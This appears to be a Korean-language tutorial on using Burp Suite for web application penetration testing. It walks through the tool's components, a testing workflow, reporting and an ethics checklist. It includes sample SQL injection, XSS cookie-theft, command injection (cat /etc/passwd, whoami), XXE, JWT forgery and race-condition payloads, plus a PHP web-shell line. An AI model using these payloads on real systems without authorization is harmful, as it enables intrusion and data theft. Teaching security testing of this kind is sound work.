Burp Suite: 웹 애플리케이션 보안 테스트의 스위스 아미 나이프
들어가며
웹 애플리케이션은 현대 비즈니스의 중심입니다. 온라인 뱅킹, 이커머스, SaaS, 소셜 미디어 - 우리의 일상과 업무는 웹 애플리케이션에 의존합니다. 그러나 이러한 애플리케이션은 수많은 보안 취약점에 노출되어 있습니다.
OWASP Top 10에 따르면, SQL 인젝션, XSS(크로스 사이트 스크립팅), 취약한 인증, 민감 데이터 노출 등이 웹 애플리케이션의 가장 일반적인 위협입니다. 이러한 취약점을 개발 단계에서 발견하고 수정하지 않으면, 공격자들이 악용하여 데이터 유출, 서비스 중단, 금전적 손실을 초래할 수 있습니다.
바로 이 지점에서 Burp Suite가 등장합니다. 2003년 PortSwigger에서 개발한 Burp Suite는 웹 애플리케이션 보안 테스트의 사실상 산업 표준이 되었습니다. 침투 테스터, 보안 연구원, 개발자들이 가장 신뢰하는 도구로, 웹 애플리케이션의 모든 HTTP/HTTPS 트래픽을 가로채고, 분석하고, 조작하여 취약점을 발견할 수 있게 해줍니다.
Burp Suite란 무엇인가?
Burp Suite는 웹 애플리케이션 보안 테스트를 위한 통합 플랫폼입니다. 단일 도구가 아니라, 서로 연동되어 작동하는 여러 도구들의 모음입니다.
핵심 개념
1. 인터셉팅 프록시 (Intercepting Proxy)
- 브라우저와 웹 서버 사이에 위치
- 모든 HTTP/HTTPS 요청과 응답을 가로채기
- 실시간으로 트래픽 검사 및 수정
2. 수동 및 자동 테스팅
- 수동 테스트: 침투 테스터의 전문 지식 활용
- 자동 스캐닝: 알려진 취약점 자동 탐지
- 하이브리드 접근: 최상의 결과
3. 확장성
- BApp Store를 통한 플러그인
- Python/Java API로 커스텀 도구 개발
- 다른 보안 도구와 통합
Burp Suite 에디션 비교
Burp Suite Community Edition (무료)
- 기본 프록시 기능
- 수동 테스팅 도구
- 제한적인 스캐너
- 개인 학습 및 연구용
- 저장 및 프로젝트 기능 제한
Burp Suite Professional ($449/연)
- 완전한 자동 스캐너
- 무제한 프로젝트 저장
- 고급 스캔 설정
- CI/CD 통합
- 우선 기술 지원
- 상용 사용 가능
Burp Suite Enterprise Edition (맞춤 가격)
- 대규모 조직용
- 중앙 집중식 관리
- 자동화된 스케줄 스캔
- 다중 사용자 협업
- 엔터프라이즈 보고서
- API 기반 자동화
Burp Suite의 주요 도구들
1. Proxy (프록시)
Burp Suite의 가장 핵심적인 도구입니다.
기능:
- HTTP/HTTPS 트래픽 가로채기
- 요청/응답 실시간 수정
- 트래픽 히스토리 기록
- 필터링 및 검색
사용 시나리오:
인증 우회 테스트:
원본 요청:
POST /login HTTP/1.1
Host: example.com
Content-Type: application/json
{"username": "user", "password": "test123"}
프록시에서 수정:
POST /login HTTP/1.1
Host: example.com
Content-Type: application/json
{"username": "admin", "password": "test123", "isAdmin": true}
숨겨진 파라미터 발견:
원본:
POST /transfer HTTP/1.1
amount=100&to_account=12345
테스트:
POST /transfer HTTP/1.1
amount=100&to_account=12345&bypass_limit=true&admin=1
```
**주요 기능:**
**1. Intercept (가로채기)**
- 요청/응답을 실시간으로 멈춤
- 수정 후 전달 또는 드롭
- 조건부 가로채기 설정 가능
**2. HTTP History**
- 모든 요청/응답 기록
- 검색 및 필터
- 특정 트래픽만 표시
**3. WebSockets 지원**
- 실시간 양방향 통신 가로채기
- WebSocket 메시지 수정
- 채팅, 실시간 업데이트 앱 테스트
**4. Match and Replace**
- 자동 패턴 치환
- 헤더, 쿠키 자동 수정
- 반복 작업 자동화
**설정 예시:**
```
Match: Cookie: session=.*
Replace: Cookie: session=modified_session_token
Match: User-Agent: .*
Replace: User-Agent: BurpSuite/Pro
2. Repeater (리피터)
개별 HTTP 요청을 반복적으로 테스트하는 도구입니다.
기능:
- 요청을 수동으로 수정하고 재전송
- 응답 실시간 확인
- 다양한 페이로드 빠르게 테스트
사용 예시:
SQL Injection 테스트:
1차 시도:
GET /product?id=1 HTTP/1.1
응답: Product details...
2차 시도:
GET /product?id=1' HTTP/1.1
응답: SQL syntax error... ← 취약점 발견!
3차 시도:
GET /product?id=1' OR '1'='1 HTTP/1.1
응답: All products displayed ← 확인!
XSS 테스트:
1차:
POST /comment HTTP/1.1
comment=Hello World
2차:
POST /comment HTTP/1.1
comment=<script>alert(1)</script>
3차:
POST /comment HTTP/1.1
comment=<img src=x onerror=alert(1)>
4차:
POST /comment HTTP/1.1
comment=<svg/onload=alert(1)>
```
**주요 기능:**
**1. Request Tabs**
- 여러 요청 동시 작업
- 탭 간 빠른 전환
- 요청 비교
**2. Message Editor**
- Raw, Pretty, Hex 뷰
- 문법 하이라이팅
- 빠른 편집
**3. Response Analysis**
- 응답 시간 측정
- 상태 코드 확인
- 응답 길이 비교
### 3. Intruder (침입자)
자동화된 공격 도구로, 페이로드를 체계적으로 삽입하여 취약점을 찾습니다.
**공격 유형:**
**1. Sniper (저격수)**
```
원본: POST /login
username=§admin§&password=§password§
실행:
username=admin&password=password
username=test1&password=password
username=test2&password=password
username=admin&password=password
username=admin&password=pass1
username=admin&password=pass2
```
- 한 번에 하나의 위치만 변경
- 각 페이로드 위치를 순차적으로 테스트
**2. Battering Ram (공성퇴)**
```
원본: username=§test§&password=§test§
실행:
username=admin&password=admin
username=user1&password=user1
username=user2&password=user2
```
- 모든 위치에 동일한 페이로드
- 동일한 값이 여러 곳에 필요한 경우
**3. Pitchfork (쇠스랑)**
```
페이로드 세트 1: admin, user1, user2
페이로드 세트 2: pass1, pass2, pass3
실행:
username=admin&password=pass1
username=user1&password=pass2
username=user2&password=pass3
```
- 여러 페이로드 세트를 병렬로 사용
- 알려진 사용자명/비밀번호 조합 테스트
**4. Cluster Bomb (집속탄)**
```
페이로드 세트 1: admin, user
페이로드 세트 2: pass1, pass2, pass3
실행:
username=admin&password=pass1
username=admin&password=pass2
username=admin&password=pass3
username=user&password=pass1
username=user&password=pass2
username=user&password=pass3
```
- 모든 조합 테스트
- 가장 포괄적이지만 느림
**페이로드 유형:**
**1. Simple List**
- 사전 파일 (wordlist)
- 일반적인 사용자명, 비밀번호
**2. Runtime File**
- 대용량 파일에서 실시간 로드
- 메모리 효율적
**3. Numbers**
```
From: 1
To: 1000
Step: 1
→ 1, 2, 3, ..., 1000
Format: %04d
→ 0001, 0002, 0003, ..., 1000
```
**4. Brute Forcer**
```
Character set: abc
Min length: 2
Max length: 3
생성: aa, ab, ac, ba, bb, bc, ca, cb, cc,
aaa, aab, aac, aba, ...
```
**5. Custom Iterator**
```
Position 1: 2023, 2024
Position 2: 01, 02, 03, ..., 12
Position 3: 01, 02, 03, ..., 31
생성: 2023-01-01, 2023-01-02, ...
실제 사용 예시:
비밀번호 스프레이 공격 탐지:
POST /login HTTP/1.1
Host: example.com
username=admin&password=§Password123§
페이로드:
Password123
Welcome123
Company2024
[...]
결과 분석:
- 대부분 403 Forbidden
- 하나만 302 Redirect → 취약한 비밀번호 발견
IDOR (Insecure Direct Object Reference) 테스트:
GET /api/user/§1§/profile HTTP/1.1
페이로드: 1-1000
결과 필터:
- 200 OK with different user data → IDOR 취약점
- 403 Forbidden → 올바른 접근 제어
```
### 4. Scanner (스캐너) - Professional Only
자동화된 취약점 스캐너입니다.
**스캔 유형:**
**1. Crawl and Audit**
- 전체 애플리케이션 크롤링
- 모든 엔드포인트 발견
- 포괄적인 취약점 스캔
**2. Audit Selected Items**
- 특정 요청만 스캔
- 타겟 스캔으로 시간 절약
- 수동 테스트 보완
**탐지 가능한 취약점:**
**주입 공격:**
- SQL Injection
- NoSQL Injection
- OS Command Injection
- LDAP Injection
- XPath Injection
- XML Injection
- Server-Side Template Injection (SSTI)
**크로스 사이트 스크립팅:**
- Reflected XSS
- Stored XSS
- DOM-based XSS
**기타 취약점:**
- CSRF (Cross-Site Request Forgery)
- XXE (XML External Entity)
- SSRF (Server-Side Request Forgery)
- Path Traversal
- File Upload vulnerabilities
- Open Redirects
- Clickjacking
- CORS misconfiguration
**스캔 구성:**
```
Scan Configuration:
┌─────────────────────────────────────┐
│ Crawl Optimization │
│ ☑ Crawl dynamic content │
│ ☑ Follow redirects │
│ ☐ Crawl external links │
│ │
│ Audit Optimization │
│ ☑ SQL Injection │
│ ☑ XSS │
│ ☑ Command Injection │
│ Scan Speed: ████████░░ Thorough │
│ │
│ Issue Definitions │
│ Severity: High, Medium, Low, Info │
└─────────────────────────────────────┘
```
**스캔 결과 예시:**
```
Issue: SQL Injection
Severity: High
Confidence: Certain
Path: /products?id=1
Parameter: id
Evidence:
Request:
GET /products?id=1' HTTP/1.1
Response:
SQL syntax error near ''1'''
Recommendation:
사용자 입력을 파라미터화된 쿼리 또는
준비된 문(prepared statement)으로 처리
```
### 5. Decoder (디코더)
다양한 인코딩/디코딩 및 해싱 도구입니다.
**지원 형식:**
**인코딩/디코딩:**
- URL encoding
- HTML encoding
- Base64
- ASCII Hex
- Gzip
**해싱:**
- MD5
- SHA-1
- SHA-256
- SHA-512
**실제 사용:**
```
입력: admin:password
Base64 인코딩 → YWRtaW46cGFzc3dvcmQ=
→ Authorization 헤더에 사용
입력: <script>alert(1)</script>
URL 인코딩 → %3Cscript%3Ealert%281%29%3C%2Fscript%3E
→ GET 파라미터로 전송
입력: {"user":"admin"}
URL 인코딩 → %7B%22user%22%3A%22admin%22%7D
→ JSON in URL 테스트
```
**Smart Decode:**
- 자동으로 인코딩 방식 탐지
- 다중 인코딩 자동 디코드
- 인코딩 체인 시각화
```
예시:
%2532%2566%253D
→ URL 디코드: %25%2f%3D
→ URL 디코드: %/=
→ URL 디코드: /=
```
### 6. Comparer (비교기)
두 개의 요청, 응답, 또는 데이터를 비교합니다.
**비교 모드:**
**1. Words**
- 단어 단위 차이
- 콘텐츠 변경 탐지
**2. Bytes**
- 바이트 단위 차이
- 정확한 변경 위치
**사용 사례:**
**세션 토큰 예측성 테스트:**
```
Session 1: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
Session 2: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
비교 결과:
- Base64 부분 대부분 동일
- 타임스탬프 부분만 다름
- 예측 가능한 패턴 발견 → 취약점
```
**인증 우회 확인:**
```
일반 사용자 응답:
{"role": "user", "permissions": ["read"]}
관리자 응답:
{"role": "admin", "permissions": ["read", "write", "delete"]}
차이점 강조 → 권한 상승 가능성 분석
```
### 7. Sequencer (시퀀서)
세션 토큰이나 CSRF 토큰의 무작위성을 분석합니다.
**기능:**
- 토큰 엔트로피 분석
- 패턴 탐지
- 예측 가능성 평가
**테스트 프로세스:**
```
1. 토큰 수집:
- 최소 100개 이상의 토큰 샘플
- 동일 조건에서 생성된 토큰
2. 분석:
- 비트 단위 엔트로피
- 문자 분포
- 패턴 탐지
3. 결과:
Overall quality: Excellent
Reliability: 99.8%
Entropy: 128 bits
→ 안전한 토큰
또는
Overall quality: Poor
Reliability: 34.2%
Sequential pattern detected
→ 취약한 토큰, 예측 가능
```
**실제 예시:**
**취약한 세션 토큰:**
```
Token 1: USER0001202401151030
Token 2: USER0002202401151031
Token 3: USER0003202401151032
패턴:
- 순차적 사용자 ID
- 타임스탬프 포함
- 예측 및 위조 가능 → 심각한 취약점
```
**안전한 세션 토큰:**
```
Token 1: 7f4a9c2e8b1d...
Token 2: 3e9d7f1a4c8b...
Token 3: 9a2c4e7f1b8d...
분석:
- 무작위성 높음
- 패턴 없음
- 엔트로피 충분 → 안전
8. Extender (확장)
Burp Suite의 기능을 확장하는 플러그인 시스템입니다.
BApp Store 인기 확장:
1. Logger++
- 향상된 로깅 기능
- 맞춤형 필터
- 데이터 내보내기
2. Autorize
- 자동 권한 테스트
- 수평/수직 권한 상승 탐지
- 다중 사용자 시뮬레이션
3. Turbo Intruder
- 초고속 HTTP 요청
- Python 스크립팅
- Race condition 테스트
4. ActiveScan++
- 추가 취약점 스캔
- 확장된 탐지 규칙
- 커스텀 페이로드
5. Retire.js
- JavaScript 라이브러리 취약점 탐지
- 알려진 CVE 매칭
- 오래된 라이브러리 경고
6. J2EE Scan
- Java 기반 앱 특화 스캔
- 직렬화 취약점
- JBoss, WebLogic 등
7. JSON Web Tokens (JWT)
- JWT 디코딩/인코딩
- 서명 검증
- 알고리즘 변조 테스트
커스텀 확장 개발:
# 간단한 Burp 확장 예시 (Jython)
from burp import IBurpExtender, IHttpListener
class BurpExtender(IBurpExtender, IHttpListener):
def registerExtenderCallbacks(self, callbacks):
self._callbacks = callbacks
self._helpers = callbacks.getHelpers()
callbacks.setExtensionName("Custom Extension")
callbacks.registerHttpListener(self)
def processHttpMessage(self, toolFlag, messageIsRequest, messageInfo):
if messageIsRequest:
request = messageInfo.getRequest()
analyzedRequest = self._helpers.analyzeRequest(request)
# 모든 POST 요청에 커스텀 헤더 추가
if analyzedRequest.getMethod() == "POST":
headers = analyzedRequest.getHeaders()
headers.add("X-Custom-Header: Test")
body = request[analyzedRequest.getBodyOffset():]
newRequest = self._helpers.buildHttpMessage(headers, body)
messageInfo.setRequest(newRequest)
```
## Burp Suite 실전 워크플로우
### 초기 설정
**1. 프록시 설정**
**브라우저 설정:**
```
Firefox 권장 (프록시 설정 독립적)
설정:
Preferences → Network Settings → Manual proxy configuration
HTTP Proxy: 127.0.0.1
Port: 8080
☑ Also use this proxy for HTTPS
```
**또는 FoxyProxy 사용:**
- Burp 프로필 생성
- 빠른 전환
- 패턴 기반 자동 프록시
**2. CA 인증서 설치**
HTTPS 트래픽 가로채기를 위해 필수:
```
1. 브라우저에서 http://burpsuite 방문
2. "CA Certificate" 다운로드
3. 브라우저에 설치:
Firefox:
Preferences → Privacy & Security → Certificates → View Certificates
→ Authorities → Import → 신뢰 체크
Chrome (Windows):
Settings → Privacy and security → Security → Manage certificates
→ Trusted Root Certification Authorities → Import
```
**3. 스코프 설정**
테스트 대상만 집중:
```
Target → Scope
Add: https://target.com
☑ Use advanced scope control
Advanced:
Protocol: https
Host: ^target\.com$
File: .*
```
### 기본 취약점 테스팅 프로세스
**Phase 1: 정찰 (Reconnaissance)**
**목표:** 애플리케이션 이해 및 공격 표면 파악
```
1. Target → Site map
- 모든 기능 수동 탐색
- 사용자 흐름 파악
- 입력 포인트 식별
2. Proxy → HTTP history
- 트래픽 패턴 분석
- API 엔드포인트 발견
- 숨겨진 파라미터 찾기
3. 문서화:
- 주요 기능 목록
- 인증 메커니즘
- 입력 검증 방식
```
**Phase 2: 스캐닝 (Scanning) - Pro Only**
```
Target → Site map → 우클릭 → Scan
또는
Scanner → New scan
→ URL 입력 또는 선택한 항목
→ Scan type: Crawl and audit
→ Configuration: Default 또는 커스텀
```
**스캔 중 수동 테스트 병행:**
- 자동화가 놓칠 수 있는 논리적 취약점
- 비즈니스 로직 결함
- 복잡한 인증 흐름
**Phase 3: 수동 테스팅**
**3.1 인증 테스트**
```
체크리스트:
□ 무차별 대입 공격 가능성
→ Intruder로 로그인 시도
→ 계정 잠금 정책 확인
□ 세션 관리
→ Sequencer로 토큰 무작위성 확인
→ 로그아웃 후 토큰 유효성
→ 세션 고정 공격
□ 비밀번호 재설정
→ 토큰 예측 가능성
→ 토큰 재사용 가능성
→ 정보 노출
실제 테스트:
# 비밀번호 재설정 토큰 테스트
POST /reset-password HTTP/1.1
email=victim@example.com
Response:
{"reset_token": "123456"}
테스트:
1. 토큰을 Sequencer로 분석
2. 패턴 발견 시 다음 토큰 예측
3. 피해자 토큰으로 비밀번호 변경 시도
```
**3.2 인가 테스트 (Authorization)**
```
시나리오: 다중 사용자 권한 테스트
1. 일반 사용자로 로그인
세션 토큰: user_token
2. 관리자로 로그인
세션 토큰: admin_token
3. 관리자 기능 요청 복사:
GET /admin/users HTTP/1.1
Cookie: session=admin_token
4. Repeater에서 토큰 변경:
Cookie: session=user_token
5. 전송 후 응답 확인:
- 200 OK → 수직 권한 상승 취약점!
- 403 Forbidden → 올바른 접근 제어
```
**Autorize 확장 사용:**
```
1. Low-privilege user 세션 설정
2. High-privilege user로 탐색
3. 자동으로 모든 요청을 low-privilege로 재시도
4. 권한 상승 가능성 자동 탐지
3.3 주입 공격 테스트
SQL Injection:
# 기본 탐지
GET /product?id=1' HTTP/1.1
응답: SQL error → 취약점 가능성
# 확인
GET /product?id=1' OR '1'='1 HTTP/1.1
응답: 모든 제품 표시 → 확정
# 데이터 추출 (Union-based)
GET /product?id=1' UNION SELECT username,password FROM users-- HTTP/1.1
# Intruder로 자동화:
페이로드 세트: sqli-payloads.txt
Grep - Extract: 응답에서 민감 데이터 추출
XSS (Cross-Site Scripting):
# Reflected XSS
GET /search?q=<script>alert(1)</script> HTTP/1.1
응답 확인:
<h1>Results for <script>alert(1)</script></h1>
→ 필터링 없음, 취약!
# Stored XSS
POST /comment HTTP/1.1
comment=<img src=x onerror=alert(document.cookie)>
다른 사용자가 페이지 방문 시 실행 확인
# DOM-based XSS
GET /page#<img src=x onerror=alert(1)>
브라우저 개발자 도구로 실행 확인
Command Injection:
# 기본 테스트
POST /ping HTTP/1.1
host=8.8.8.8; ls
# Intruder 페이로드
; ls
| ls
& ls
&& ls
; cat /etc/passwd
| whoami
```
**3.4 비즈니스 로직 테스트**
```
예시: 전자상거래 가격 조작
1. 제품 카트에 추가 요청 캡처:
POST /cart/add HTTP/1.1
product_id=123&quantity=1&price=99.99
2. Repeater에서 가격 수정:
product_id=123&quantity=1&price=0.01
3. 결제 진행
4. 0.01달러로 구매 성공 → 취약점!
다른 시나리오:
- 마이너스 수량으로 환불 받기
- 쿠폰 중복 사용
- 레이스 컨디션 (동시 요청으로 잔액 초과 인출)
3.5 파일 업로드 취약점
# 정상 업로드
POST /upload HTTP/1.1
Content-Type: multipart/form-data
------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="image.jpg"
Content-Type: image/jpeg
[JPEG data]
# 악성 파일 업로드 테스트:
1. 확장자 우회:
- image.php
- image.php.jpg
- image.php%00.jpg (null byte)
- image.PhP
2. MIME 타입 조작:
Content-Type: image/jpeg
[실제로는 PHP 코드]
3. Magic Bytes 조작:
FF D8 FF E0 (JPEG 헤더)
<?php system($_GET['cmd']); ?>
4. 업로드 후:
- 파일 위치 확인
- 직접 접근 가능 여부
- 코드 실행 여부
```
### 고급 테스팅 기법
**1. Race Condition 테스트**
```
시나리오: 계좌 잔액 100달러, 동시에 두 번 100달러 인출
Turbo Intruder 스크립트:
```python
def queueRequests(target, wordlists):
# 동일 요청 동시 전송
engine = RequestEngine(
endpoint=target.endpoint,
concurrentConnections=30,
)
request = '''POST /withdraw HTTP/1.1
Host: bank.com
Cookie: session=valid_token
amount=100'''
# 정확히 동시에 30개 요청 전송
for i in range(30):
engine.queue(request, gate='race1')
engine.openGate('race1')
def handleResponse(req, interesting):
table.add(req)
```
**결과:**
```
정상: 1개만 성공, 나머지 "잔액 부족"
취약: 여러 개 성공, 총 인출액 > 잔액
```
**2. SSRF (Server-Side Request Forgery)**
```http
# 기본 탐지
POST /fetch-url HTTP/1.1
url=http://internal-server/admin
응답:
<html>Admin Panel...</html>
→ 내부 서버 접근 가능!
# Collaborator를 사용한 Out-of-Band 탐지:
Burp → Collaborator client
→ "Copy to clipboard" (예: abc123.burpcollaborator.net)
요청:
POST /fetch-url HTTP/1.1
url=http://abc123.burpcollaborator.net
Collaborator에서 DNS 또는 HTTP 요청 수신 확인
→ SSRF 취약점 확정
```
**3. XXE (XML External Entity)**
```xml
<!-- 기본 XXE -->
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<user>
<name>&xxe;</name>
</user>
<!-- Blind XXE with Collaborator -->
<!DOCTYPE foo [
http://abc123.burpcollaborator.net">
%xxe;
]>
<!-- XXE to SSRF -->
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://internal-server:8080/admin">
]>
<data>&xxe;</data>
```
**4. JWT 취약점 테스트**
```
JWT 구조:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.
eyJ1c2VyIjoiYWRtaW4iLCJleHAiOjE2MH0.
signature
JWT Editor 확장 사용:
1. 알고리즘 변조 (alg: none):
{
"alg": "none",
"typ": "JWT"
}
서명 제거 후 전송
2. 알고리즘 변경 (RS256 → HS256):
- 공개키로 서명 시도
- 서버가 공개키로 검증하도록 속임
3. 클레임 조작:
{"user": "admin", "role": "administrator"}
재서명 (키 추측 또는 크랙)
```
## 보고서 작성 및 문서화
### Burp의 리포팅 기능
**Scanner Issues:**
```
Scanner → Issue activity → 우클릭 → Report selected issues
리포트 형식:
- HTML
- XML
포함 항목:
☑ Issue details
☑ HTTP requests/responses
☑ Remediation advice
☑ Vulnerability classification
☑ References (CVE, CWE)
```
**수동 테스트 문서화:**
```
각 발견 사항마다:
1. 취약점 제목:
"SQL Injection in Product Search"
2. 심각도:
High / Medium / Low
3. 설명:
사용자 입력이 SQL 쿼리에 직접 사용되어
데이터베이스 조작이 가능함
4. 재현 단계:
1. /search?q=test 접속
2. q 파라미터를 1' OR '1'='1로 변경
3. 모든 제품 데이터 노출 확인
5. 증거 (Evidence):
[스크린샷]
[요청/응답 캡처]
6. 영향 (Impact):
- 모든 데이터베이스 데이터 유출 가능
- 데이터 수정/삭제 가능
- 관리자 권한 탈취 가능
7. 권장 사항 (Recommendation):
- Prepared Statements 사용
- 파라미터화된 쿼리
- 입력 검증 강화
- WAF 규칙 추가
8. 참조:
- OWASP Top 10 2021: A03:2021 – Injection
- CWE-89: SQL Injection
```
## 모범 사례 및 팁
### 효율성 향상
**1. 핫키 사용**
```
자주 사용하는 핫키:
Ctrl+R : Repeater로 전송
Ctrl+I : Intruder로 전송
Ctrl+Shift+B : Base64 인코딩
Ctrl+Shift+U : URL 인코딩
Ctrl+F : 검색
Ctrl+H : 히스토리에서 검색
```
**2. Target Scope 활용**
```
장점:
- 관련 트래픽만 집중
- Proxy history 깔끔하게
- Scanner 리소스 절약
- 실수로 다른 사이트 공격 방지
설정:
Target → Scope → Add
Proxy → Options → Intercept Client Requests
→ ☑ And URL is in target scope
```
**3. Session Handling Rules**
```
반복 작업 자동화:
예: 로그인 세션 자동 유지
Project options → Sessions → Session Handling Rules
→ Add
Rule Actions:
☑ Run a macro
→ Macro: 로그인 요청 시퀀스 기록
→ 세션 만료 시 자동 재로그인
```
**4. 맞춤형 워크스페이스**
```
View 메뉴에서 레이아웃 조정:
일반 워크플로우:
┌─────────────┬─────────────┐
│ Proxy │ Repeater │
├─────────────┼─────────────┤
│ Target Map │ Logger │
└─────────────┴─────────────┘
집중 분석:
┌─────────────────────────────┐
│ Repeater │
├──────────────┬──────────────┤
│ Request │ Response │
└──────────────┴──────────────┘
```
### 보안 및 윤리
**1. 테스트 범위 명확화**
```
반드시 확인:
□ 서면 승인 (Authorization)
□ 명확한 스코프
□ 테스트 시간대
□ 연락처 (비상 상황)
□ 데이터 처리 방침
```
**2. 프로덕션 환경 주의**
```
위험한 테스트:
- Intruder 고속 스캔 (DoS 가능)
- 파괴적인 페이로드 (데이터 삭제)
- 대량 데이터 삽입
권장:
- 개발/스테이징 환경 우선
- 속도 제한 설정
- 백업 확인
- 점진적 테스트
```
**3. 데이터 보호**
```
민감 정보 처리:
- Burp 프로젝트 파일 암호화
- 세션 완료 후 데이터 삭제
- 스크린샷에서 민감 정보 마스킹
- 보고서에서 실제 데이터 제거
Project options → Misc
→ ☑ Pause capturing when Burp is minimized
→ ☑ Pause Spider when Burp is minimized
```
### 성능 최적화
**1. Proxy 필터링**
```
Proxy → Options → Intercept Client Requests
불필요한 트래픽 제외:
☑ File extension is one of: css, js, gif, jpg, png
☑ MIME type of response is image, css, script
```
**2. Intruder 스레드 조정**
```
Intruder → Options → Request Engine
Thread count:
- 기본: 10
- 느린 서버: 5
- 빠른 서버: 20-30
- Rate limiting 있을 때: 1-5
Delay between requests:
- 서버 부하 고려
- WAF 우회: 1000-2000ms
```
**3. Scanner 최적화**
```
Scanner → Options → Performance
Scan speed:
█████░░░░░ Fast (놓칠 수 있음)
████████░░ Thorough (권장)
██████████ Comprehensive (느림)
리소스 집약적 스캔 제한:
☐ Perform thorough parameter value analysis
☑ Skip parameter value checks for high-cost insertion points
```
## 실전 시나리오별 가이드
### 시나리오 1: API 보안 테스트
**준비:**
```
1. Postman 컬렉션 가져오기 (있다면)
2. API 문서 검토
3. 인증 메커니즘 이해 (OAuth, JWT, API Key)
```
**테스트 접근:**
```
1. 인증 테스트:
- API 키 노출 확인 (JS 파일, 소스코드)
- JWT 조작
- OAuth 흐름 취약점
2. 입력 검증:
POST /api/users HTTP/1.1
Content-Type: application/json
{"name": "test", "role": "admin"}
→ role 파라미터 조작
{"name": "<script>alert(1)</script>"}
→ XSS
{"name": "'; DROP TABLE users--"}
→ SQL Injection
3. 속도 제한:
Intruder로 동일 요청 1000회
→ 429 Too Many Requests 확인
→ 없다면 DoS 가능
4. IDOR:
GET /api/users/1 → 본인 정보
GET /api/users/2 → 다른 사용자 정보 접근?
5. Mass Assignment:
POST /api/profile HTTP/1.1
{"email": "new@email.com", "isAdmin": true}
```
### 시나리오 2: SPA (Single Page Application) 테스트
**도전 과제:**
- JavaScript로 동적 생성되는 콘텐츠
- API 기반 통신
- 클라이언트 측 라우팅
**접근 방법:**
```
1. Burp의 브라우저 사용:
Proxy → Intercept → Open Browser
→ Chromium 기반, Burp와 통합
2. WebSocket 트래픽:
Proxy → WebSockets history
→ 실시간 메시지 가로채기
3. JavaScript 분석:
Proxy → HTTP history → Filter: Script
→ JS 파일 다운로드
→ 소스코드 검토:
* API 엔드포인트
* 하드코딩된 비밀
* 클라이언트 측 검증
4. DOM-based XSS:
브라우저 개발자 도구 + Burp 조합
→ 클라이언트 측 코드 경로 추적
5. API GraphQL:
POST /graphql HTTP/1.1
쿼리:
{
__schema {
types {
name
}
}
}
→ 전체 스키마 노출 확인
```
### 시나리오 3: 모바일 앱 API 테스트
**준비:**
```
1. 프록시 설정:
- 모바일 디바이스 WiFi 설정
- Proxy: [Burp 실행 PC IP]:8080
- CA 인증서 설치 (디바이스에)
2. SSL Pinning 우회:
Android:
- Frida + objection
- Xposed Framework
iOS:
- SSL Kill Switch 2
- Burp Mobile Assistant
```
**테스트:**
```
1. 트래픽 캡처:
- 앱의 모든 기능 사용
- API 엔드포인트 매핑
2. 인증 토큰:
- 저장 위치 (Shared Preferences, Keychain)
- 갱신 메커니즘
- 만료 처리
3. 하드코딩된 비밀:
- APK/IPA 디컴파일
- strings.xml, config 파일
- API 키, 암호화 키
4. 앱 특화 취약점:
- Deep Link 인젝션
- Intent 조작 (Android)
- URL Scheme 공격 (iOS)
```
## 학습 리소스 및 인증
### 학습 경로
**입문 (1-2개월):**
```
1. PortSwigger Web Security Academy
- 무료 온라인 강의
- 실습 Lab 환경
- OWASP Top 10 커버
2. DVWA (Damn Vulnerable Web App)
- 로컬 취약한 앱 설치
- Burp로 실습
3. WebGoat (OWASP)
- 교육용 취약한 앱
- 단계별 가이드
```
**중급 (3-6개월):**
```
1. Hack The Box
- 실전 웹 앱 챌린지
- 커뮤니티 write-up
2. PentesterLab
- 유료 강의 및 Lab
- 실무 시나리오
3. Bug Bounty 참여
- HackerOne, Bugcrowd
- 실제 앱 테스트
- 보상금 획득
```
**고급 (6개월+):**
```
1. 복잡한 시나리오:
- 다단계 공격 체인
- 비즈니스 로직 결함
- Race condition, 타이밍 공격
2. 연구:
- 새로운 취약점 발견
- CVE 등록
- 컨퍼런스 발표
3. 도구 개발:
- Burp 확장 개발
- 자동화 스크립트
- 커스텀 스캐너
```
### 전문 인증
**Burp Suite Certified Practitioner (BSCP)**
PortSwigger의 공식 인증:
```
시험 정보:
- 기간: 4시간
- 형식: 실습 기반 (실제 취약점 찾기)
- 난이도: 중급-고급
- 비용: $99
준비:
1. Web Security Academy 전체 완료
2. Mystery Lab 모두 해결
3. 모의 시험 (PortSwigger 제공)
시험 범위:
- OWASP Top 10
- 고급 주입 공격
- 인증/인가 우회
- 비즈니스 로직
- 서버 측 취약점
```
**관련 인증:**
```
OSWE (Offensive Security Web Expert)
- 웹 앱 침투 테스트 고급
- 48시간 실습 시험
- 상세 보고서 작성
eWPTX (eLearnSecurity Web Penetration Tester eXtreme)
- 웹 앱 보안 전문가
- 14일 실습 시험
CEH (Certified Ethical Hacker)
- 포괄적 보안 인증 (웹 포함)
- 선택형 + 실습
```
## 최신 트렌드 및 미래
### Burp Suite의 진화
**최근 추가 기능 (2023-2024):**
**1. Burp Suite Scanner 개선**
- 머신러닝 기반 탐지
- 향상된 크롤링 (SPA 지원)
- GraphQL 네이티브 지원
**2. Bambda (필터 언어)**
```java
// HTTP History 커스텀 필터
request.isInScope() &&
request.hasParameter("id") &&
response.statusCode() == 200
// Repeater에서 자동 추출
response.contains("admin") ||
response.matches("\\d{4}-\\d{4}-\\d{4}-\\d{4}")
```
**3. Browser-Powered Scanning**
- 내장 Chromium 브라우저 사용
- JavaScript 실행 후 스캔
- 더 정확한 DOM XSS 탐지
**4. OpenAPI 지원**
```
Tools → Burp → Import OpenAPI/Swagger 파일
→ 자동으로 스캔 생성
→ 모든 엔드포인트 테스트
```
### 웹 보안 트렌드와 Burp의 대응
**1. API 보안**
- RESTful, GraphQL, gRPC 지원 강화
- API 특화 스캔 규칙
- 자동 API 문서 생성
**2. 클라우드 네이티브 앱**
- Serverless 함수 테스트
- 컨테이너 환경 지원
- Kubernetes API 테스트
**3. AI/ML 통합**
- 이상 행위 탐지
- 스마트 페이로드 생성
- 거짓 양성 감소
**4. DevSecOps 통합**
```
CI/CD 파이프라인 통합:
# Jenkins 예시
stage('Security Scan') {
steps {
sh 'burp-rest-api-scan \
--url=$TARGET_URL \
--config=config.json \
--report-file=burp-report.html'
}
}
# GitLab CI
security_scan:
script:
- burp scan --target $CI_ENVIRONMENT_URL
artifacts:
reports:
security: burp-report.json
```
